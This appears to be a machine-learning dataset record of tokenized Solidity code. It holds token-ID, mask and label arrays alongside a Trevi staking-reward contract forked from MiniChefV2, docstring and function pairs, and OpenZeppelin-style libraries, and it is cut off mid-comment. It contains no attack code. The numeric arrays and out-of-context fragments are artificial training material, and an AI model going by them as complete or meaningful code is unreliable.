[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 331, 273, 331, 1671, 261, 28, 380, 261, 1578, 300, 324, 18, 2469, 10019, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/Math.sol"; import "./libraries/boringcrypto/libraries/BoringMath.sol"; import "./libraries/boringcrypto/BoringBatchable.sol"; import "./libraries/boringcrypto/BoringOwnable.sol"; import "./libraries/SignedSafeMath.sol"; import "./interfaces/IRewarder.sol"; import "./interfaces/IMasterChef.sol"; import "./interfaces/IAngelFactory.sol"; import "./interfaces/IArchangel.sol"; import "./interfaces/IFountain.sol"; import "./utils/ErrorMsg.sol"; /// @notice Angel is a forked version of MiniChefV2 from SushiSwap with /// minimal modifications to interact with fountain in Trevi. The staking /// tokens are managed in fountain instead of here. Migrate related functions /// withdrawAndHarvest are removed. contract AngelBase is BoringOwnable, BoringBatchable, ErrorMsg { using BoringMath for uint256; using BoringMath128 for uint128; using BoringERC20 for IERC20; using SignedSafeMath for int256; /// @notice Info of each MCV2 user. /// `amount` LP token amount the user has provided. /// `rewardDebt` The amount of GRACE entitled to the user. struct UserInfo { uint256 amount; int256 rewardDebt; } /// @notice Info of each MCV2 pool. /// `allocPoint` The amount of allocation points assigned to the pool. /// Also known as the amount of GRACE to distribute per block. struct PoolInfo { uint128 accGracePerShare; uint64 lastRewardTime; uint64 allocPoint; } /// @notice Address of GRACE contract. IERC20 public immutable GRACE; // @notice The migrator contract. It has a lot of power. Can only be set through governance (owner). /// @notice Info of each MCV2 pool. PoolInfo[] public poolInfo; /// @notice Address of the LP token for each MCV2 pool. IERC20[] public lpToken; /// @notice Address of each `IRewarder` contract in MCV2. IRewarder[] public rewarder; /// @notice Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; /// @dev Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint; uint256 public gracePerSecond; uint256 private constant ACC_GRACE_PRECISION = 1e12; ////////////////////////// New IArchangel public immutable archangel; IAngelFactory public immutable factory; uint256 public endTime; uint256 private _skipOwnerMassUpdateUntil; event Deposit( address indexed user, uint256 indexed pid, uint256 amount, address indexed to ); event Withdraw( address indexed user, uint256 indexed pid, uint256 amount, address indexed to ); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount, address indexed to ); event Harvest(address indexed user, uint256 indexed pid, uint256 amount); event LogPoolAddition( uint256 indexed pid, uint256 allocPoint, IERC20 indexed lpToken, IRewarder indexed rewarder ); event LogSetPool( uint256 indexed pid, uint256 allocPoint, IRewarder indexed rewarder, bool overwrite ); event LogUpdatePool( uint256 indexed pid, uint64 lastRewardTime, uint256 lpSupply, uint256 accGracePerShare ); event LogGracePerSecondAndEndTime(uint256 gracePerSecond, uint256 endTime); event RewarderExecFail(address rewarder, uint256 pid, address user); modifier onlyFountain(uint256 pid) { _requireMsg( msg.sender == archangel.getFountain(address(lpToken[pid])), "General", "not called by correct fountain" ); _; } modifier ownerMassUpdate() { if (block.timestamp > _skipOwnerMassUpdateUntil) massUpdatePoolsNonZero(); _; _skipOwnerMassUpdateUntil = block.timestamp; } /// @param _grace The GRACE token contract address. constructor(IERC20 _grace) public { GRACE = _grace; IAngelFactory _f = IAngelFactory(msg.sender); factory = _f; archangel = IArchangel(_f.archangel()); } /// @notice Returns the number of MCV2 pools. function poolLength() public view returns (uint256 pools) { pools = poolInfo.length; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, endTime); } /// @notice Add a new LP to the pool. Can only be called by the owner. /// DO NOT add the same LP token more than once. Rewards will be messed up if you do. /// @param allocPoint AP of the new pool. /// @param _lpToken Address of the LP ERC-20 token. /// @param _rewarder Address of the rewarder delegate. function add( uint256 allocPoint, IERC20 _lpToken, IRewarder _rewarder ) external onlyOwner ownerMassUpdate { uint256 pid = lpToken.length; totalAllocPoint = totalAllocPoint.add(allocPoint); lpToken.push(_lpToken); rewarder.push(_rewarder); poolInfo.push( PoolInfo({ allocPoint: allocPoint.to64(), lastRewardTime: block.timestamp.to64(), accGracePerShare: 0 }) ); emit LogPoolAddition(pid, allocPoint, _lpToken, _rewarder); ////////////////////////// New // Update pid in fountain IFountain fountain = IFountain(archangel.getFountain(address(_lpToken))); fountain.setPoolId(pid); } /// @notice Update the given pool's GRACE allocation point and `IRewarder` contract. Can only be called by the owner. /// @param _pid The index of the pool. See `poolInfo`. /// @param _allocPoint New AP of the pool. /// @param _rewarder Address of the rewarder delegate. /// @param overwrite True if _rewarder should be `set`. Otherwise `_rewarder` is ignored. function set( uint256 _pid, uint256 _allocPoint, IRewarder _rewarder, bool overwrite ) external onlyOwner ownerMassUpdate { updatePool(_pid); totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add( _allocPoint ); poolInfo[_pid].allocPoint = _allocPoint.to64(); if (overwrite) { rewarder[_pid] = _rewarder; } emit LogSetPool( _pid, _allocPoint, overwrite ? _rewarder : rewarder[_pid], overwrite ); } /// @notice Add extra amount of GRACE to be distributed and the end time. Can only be called by the owner. /// @param _amount The extra amount of GRACE to be distributed. /// @param _endTime UNIX timestamp that indicates the end of the calculating period. function addGraceReward(uint256 _amount, uint256 _endTime) external onlyOwner ownerMassUpdate { _requireMsg( _amount > 0, "addGraceReward", "grace amount should be greater than 0" ); _requireMsg( _endTime > block.timestamp, "addGraceReward", "end time should be in the future" ); uint256 duration = _endTime.sub(block.timestamp); uint256 newGracePerSecond; if (block.timestamp >= endTime) { newGracePerSecond = _amount / duration; } else { uint256 remaining = endTime.sub(block.timestamp); uint256 leftover = remaining.mul(gracePerSecond); newGracePerSecond = leftover.add(_amount) / duration; } _requireMsg( newGracePerSecond <= type(uint128).max, "addGraceReward", "new grace per second exceeds uint128" ); gracePerSecond = newGracePerSecond; endTime = _endTime; emit LogGracePerSecondAndEndTime(gracePerSecond, endTime); GRACE.safeTransferFrom(msg.sender, address(this), _amount); } /// @notice Set the grace per second to be distributed. Can only be called by the owner. /// @param _gracePerSecond The amount of Grace to be distributed per second. function setGracePerSecond(uint256 _gracePerSecond, uint256 _endTime) external onlyOwner ownerMassUpdate { _requireMsg( _gracePerSecond <= type(uint128).max, "setGracePerSecond", "new grace per second exceeds uint128" ); _requireMsg( _endTime > block.timestamp, "setGracePerSecond", "end time should be in the future" ); uint256 duration = _endTime.sub(block.timestamp); uint256 rewardNeeded = _gracePerSecond.mul(duration); uint256 shortage; if (block.timestamp >= endTime) { shortage = rewardNeeded; } else { uint256 remaining = endTime.sub(block.timestamp); uint256 leftover = remaining.mul(gracePerSecond); if (rewardNeeded > leftover) shortage = rewardNeeded.sub(leftover); } gracePerSecond = _gracePerSecond; endTime = _endTime; emit LogGracePerSecondAndEndTime(gracePerSecond, endTime); if (shortage > 0) GRACE.safeTransferFrom(msg.sender, address(this), shortage); } /// @notice View function to see pending GRACE on frontend. /// @param _pid The index of the pool. See `poolInfo`. /// @param _user Address of user. /// @return pending GRACE reward for a given user. function pendingGrace(uint256 _pid, address _user) external view returns (uint256 pending) { PoolInfo memory pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accGracePerShare = pool.accGracePerShare; ////////////////////////// New // uint256 lpSupply = lpToken[_pid].balanceOf(address(this)); // Need to get the lpSupply from fountain IFountain fountain = IFountain(archangel.getFountain(address(lpToken[_pid]))); (, uint256 lpSupply) = fountain.angelInfo(address(this)); uint256 _lastTimeRewardApplicable = lastTimeRewardApplicable(); if ( lpSupply != 0 && pool.allocPoint > 0 && _lastTimeRewardApplicable > pool.lastRewardTime ) { uint256 time = _lastTimeRewardApplicable.sub(pool.lastRewardTime); uint256 graceReward = time.mul(gracePerSecond).mul(pool.allocPoint) / totalAllocPoint; accGracePerShare = accGracePerShare.add( graceReward.mul(ACC_GRACE_PRECISION) / lpSupply ); } pending = int256( user.amount.mul(accGracePerShare) / ACC_GRACE_PRECISION ) .sub(user.rewardDebt) .toUInt256(); } /// @notice Update reward variables for all pools with non-zero allocPoint. /// Be careful of gas spending! function massUpdatePoolsNonZero() public { uint256 len = poolLength(); for (uint256 i = 0; i < len; ++i) { if (poolInfo[i].allocPoint > 0) updatePool(i); } } /// @notice Update reward variables for all pools. Be careful of gas spending! /// @param pids Pool IDs of all to be updated. Make sure to update all active pools. function massUpdatePools(uint256[] memory pids) public { uint256 len = pids.length; for (uint256 i = 0; i < len; ++i) { updatePool(pids[i]); } } /// @notice Update reward variables for all pools and set the expire time for skipping `massUpdatePoolsNonZero()`. /// Be careful of gas spending! Can only be called by the owner. /// DO NOT use this function until `massUpdatePoolsNonZero()` reverts because of out of gas. /// If that is the case, try to update all pools first and then call onlyOwner function to set a correct state. /// @param pids Pool IDs of all to be updated. Make sure to update all active pools. function massUpdatePoolsAndSet(uint256[] calldata pids) external onlyOwner { massUpdatePools(pids); // Leave an hour for owner to be able to skip `massUpdatePoolsNonZero()` _skipOwnerMassUpdateUntil = block.timestamp.add(3600); } /// @notice Update reward variables of the given pool. /// @param pid The index of the pool. See `poolInfo`. /// @return pool Returns the pool that was updated. function updatePool(uint256 pid) public returns (PoolInfo memory pool) { pool = poolInfo[pid]; if (block.timestamp > pool.lastRewardTime) { ////////////////////////// New // uint256 lpSupply = lpToken[pid].balanceOf(address(this)); // Need to get the lpSupply from fountain IFountain fountain = IFountain(archangel.getFountain(address(lpToken[pid]))); (, uint256 lpSupply) = fountain.angelInfo(address(this)); uint256 _lastTimeRewardApplicable = lastTimeRewardApplicable(); // Only accumulate reward before end time if ( lpSupply > 0 && pool.allocPoint > 0 && _lastTimeRewardApplicable > pool.lastRewardTime ) { uint256 time = _lastTimeRewardApplicable.sub(pool.lastRewardTime); uint256 graceReward = time.mul(gracePerSecond).mul(pool.allocPoint) / totalAllocPoint; pool.accGracePerShare = pool.accGracePerShare.add( (graceReward.mul(ACC_GRACE_PRECISION) / lpSupply).to128() ); } pool.lastRewardTime = block.timestamp.to64(); poolInfo[pid] = pool; emit LogUpdatePool( pid, pool.lastRewardTime, lpSupply, pool.accGracePerShare ); } } /// @notice Deposit LP tokens to MCV2 for GRACE allocation. /// @param pid The index of the pool. See `poolInfo`. /// @param amount LP token amount to deposit. /// @param to The receiver of `amount` deposit benefit. function deposit( uint256 pid, uint256 amount, address to ) external onlyFountain(pid) { PoolInfo memory pool = updatePool(pid); UserInfo storage user = userInfo[pid][to]; // Effects user.amount = user.amount.add(amount); user.rewardDebt = user.rewardDebt.add( int256(amount.mul(pool.accGracePerShare) / ACC_GRACE_PRECISION) ); // Interactions IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onGraceReward(pid, to, to, 0, user.amount); } ////////////////////////// New // Handle in fountain // lpToken[pid].safeTransferFrom(msg.sender, address(this), amount); // emit Deposit(msg.sender, pid, amount, to); emit Deposit(to, pid, amount, to); } /// @notice Withdraw LP tokens from MCV2. /// @param pid The index of the pool. See `poolInfo`. /// @param amount LP token amount to withdraw. /// @param to Receiver of the LP tokens. function withdraw( uint256 pid, uint256 amount, address to ) external onlyFountain(pid) { PoolInfo memory pool = updatePool(pid); ////////////////////////// New // Delegate by fountain // UserInfo storage user = userInfo[pid][msg.sender]; UserInfo storage user = userInfo[pid][to]; // Effects user.rewardDebt = user.rewardDebt.sub( int256(amount.mul(pool.accGracePerShare) / ACC_GRACE_PRECISION) ); user.amount = user.amount.sub(amount); // Interactions IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { ////////////////////////// New // Delegate by fountain // _rewarder.onGraceReward(pid, msg.sender, to, 0, user.amount); _rewarder.onGraceReward(pid, to, to, 0, user.amount); } ////////////////////////// New // Handle in fountain // lpToken[pid].safeTransfer(to, amount); // emit Withdraw(msg.sender, pid, amount, to); emit Withdraw(to, pid, amount, to); } /// @notice Harvest proceeds for transaction sender to `to`. /// @param pid The index of the pool. See `poolInfo`. /// @param to Receiver of GRACE rewards. function harvest( uint256 pid, address from, address to ) external onlyFountain(pid) { PoolInfo memory pool = updatePool(pid); ////////////////////////// New // Delegate by fountain // UserInfo storage user = userInfo[pid][msg.sender]; UserInfo storage user = userInfo[pid][from]; int256 accumulatedGrace = int256( user.amount.mul(pool.accGracePerShare) / ACC_GRACE_PRECISION ); uint256 _pendingGrace = accumulatedGrace.sub(user.rewardDebt).toUInt256(); // Effects user.rewardDebt = accumulatedGrace; // Interactions if (_pendingGrace != 0) { GRACE.safeTransfer(to, _pendingGrace); } IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { _rewarder.onGraceReward( pid, ////////////////////////// New // Delegate by fountain // msg.sender, from, to, _pendingGrace, user.amount ); } ////////////////////////// New // emit Harvest(msg.sender, pid, _pendingGrace); emit Harvest(from, pid, _pendingGrace); } /// @notice Withdraw without caring about rewards. EMERGENCY ONLY. /// @param pid The index of the pool. See `poolInfo`. /// @param to Receiver of the LP tokens. function emergencyWithdraw(uint256 pid, address to) external onlyFountain(pid) { ////////////////////////// New // Delegate by fountain // UserInfo storage user = userInfo[pid][msg.sender]; UserInfo storage user = userInfo[pid][to]; uint256 amount = user.amount; user.amount = 0; user.rewardDebt = 0; IRewarder _rewarder = rewarder[pid]; if (address(_rewarder) != address(0)) { ////////////////////////// New // Delegate by fountain // _rewarder.onGraceReward(pid, msg.sender, to, 0, 0); // Execution of emergencyWithdraw should never fail. Considering // the possibility of failure caused by rewarder execution, use // try/catch on rewarder execution with limited gas try _rewarder.onGraceReward{gas: 1000000}(pid, to, to, 0, 0) {} catch { emit RewarderExecFail(address(_rewarder), pid, to); } } // Note: transfer can fail or succeed if `amount` is zero. ////////////////////////// New // Handle in fountain // lpToken[pid].safeTransfer(to, amount); // emit EmergencyWithdraw(msg.sender, pid, amount, to); emit EmergencyWithdraw(to, pid, amount, to); } /// @notice Fetch the token from angel. Can only be called by owner. /// @param token The token address. /// @param amount The amount of token to be rescued. Replace by current balance if uint256(-1). /// @param to The receiver. /// @return The transferred amount. function rescueERC20( IERC20 token, uint256 amount, address to ) external onlyOwner returns (uint256) { if (amount == type(uint256).max) { amount = token.balanceOf(address(this)); } token.safeTransfer(to, amount); return amount; } }
@notice Update reward variables for all pools and set the expire time for skipping `massUpdatePoolsNonZero()`. Be careful of gas spending! Can only be called by the owner. DO NOT use this function until `massUpdatePoolsNonZero()` reverts because of out of gas. If that is the case, try to update all pools first and then call onlyOwner function to set a correct state. @param pids Pool IDs of all to be updated. Make sure to update all active pools. Leave an hour for owner to be able to skip `massUpdatePoolsNonZero()`
function massUpdatePoolsAndSet(uint256[] calldata pids) external onlyOwner { massUpdatePools(pids); _skipOwnerMassUpdateUntil = block.timestamp.add(3600); }
12,866,037
[ 1, 1891, 19890, 3152, 364, 777, 16000, 471, 444, 326, 6930, 813, 364, 14195, 1375, 10424, 1891, 16639, 3989, 7170, 1435, 8338, 4823, 26850, 434, 16189, 272, 9561, 5, 4480, 1338, 506, 2566, 635, 326, 3410, 18, 5467, 4269, 999, 333, 445, 3180, 1375, 10424, 1891, 16639, 3989, 7170, 20338, 15226, 87, 2724, 434, 596, 434, 16189, 18, 971, 716, 353, 326, 648, 16, 775, 358, 1089, 777, 16000, 1122, 471, 1508, 745, 1338, 5541, 445, 358, 444, 279, 3434, 919, 18, 225, 20726, 8828, 7115, 434, 777, 358, 506, 3526, 18, 4344, 3071, 358, 1089, 777, 2695, 16000, 18, 21131, 392, 6126, 364, 3410, 358, 506, 7752, 358, 2488, 1375, 10424, 1891, 16639, 3989, 7170, 20338, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 8039, 1891, 16639, 13152, 12, 11890, 5034, 8526, 745, 892, 20726, 13, 3903, 1338, 5541, 288, 203, 3639, 8039, 1891, 16639, 12, 84, 2232, 1769, 203, 3639, 389, 7457, 5541, 18060, 1891, 9716, 273, 1203, 18, 5508, 18, 1289, 12, 5718, 713, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/137/0x99bD31d6c7c2cd8d801176e3612aFD665Acc44a0/sources/project_/contracts/libraries/CommonBase.sol
@dev prevents delegatecall into the modified method
modifier noDelegateCall() { _checkNotDelegateCall(); _; }
3,741,789
[ 1, 29150, 87, 7152, 1991, 1368, 326, 4358, 707, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 1158, 9586, 1477, 1435, 288, 203, 3639, 389, 1893, 1248, 9586, 1477, 5621, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.6.12; pragma experimental ABIEncoderV2; contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { revert("ECDSA: invalid signature 's' value"); } if (v != 27 && v != 28) { revert("ECDSA: invalid signature 'v' value"); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves 